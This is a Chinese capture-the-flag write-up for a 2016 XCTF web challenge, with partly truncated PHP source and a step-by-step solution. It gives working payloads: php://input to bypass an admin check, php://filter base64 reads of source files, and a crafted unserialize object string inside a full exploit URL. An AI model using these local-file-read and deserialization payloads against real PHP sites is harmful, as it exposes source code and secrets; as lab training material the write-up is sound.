2016xctf一道ctf题目

首先是index.php:

";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>


然后是class.php


file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

最后是f1a9.php


解析:
这个题目考察的是php封装协议和lfi
这个题目首先要突破的是:
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin"))
如何让file_get_contents($user,'r')==="the user is admin"呢?
答案是用php的封装协议php://input,因为php://input可以得到原始的post数据:

2016xctf一道ctf题目_第1张图片

所以这样就可以绕过第一个限制

然后我到了:include($file); //class.php 这一步

这个很明显是暗示你去读取class.php
如何读呢?这里用到php的另一个封装协议:php://filter
利用这个协议就可以读取任意文件了
利用方法:php://filter/convert.base64-encode/resource=index.php
这里把读取到的index.php的内容转换为base64的格式
于是:


这样就得到class.php的内容,但是我们这样可以直接读取flag文件吗? 答案是不能,因为:
if(preg_match("/f1a9/",$file)){
exit();

但是class.php把我们引入到另一个地方,就是利用反序列化来读取flag文件
于是我们构造反序列化的参数:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
这里也是利用php://filter来读取flag文件

最后我的payload就是:
http://localhost:8000/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}


2016xctf一道ctf题目_第2张图片

你可能感兴趣的:(ctf的wp)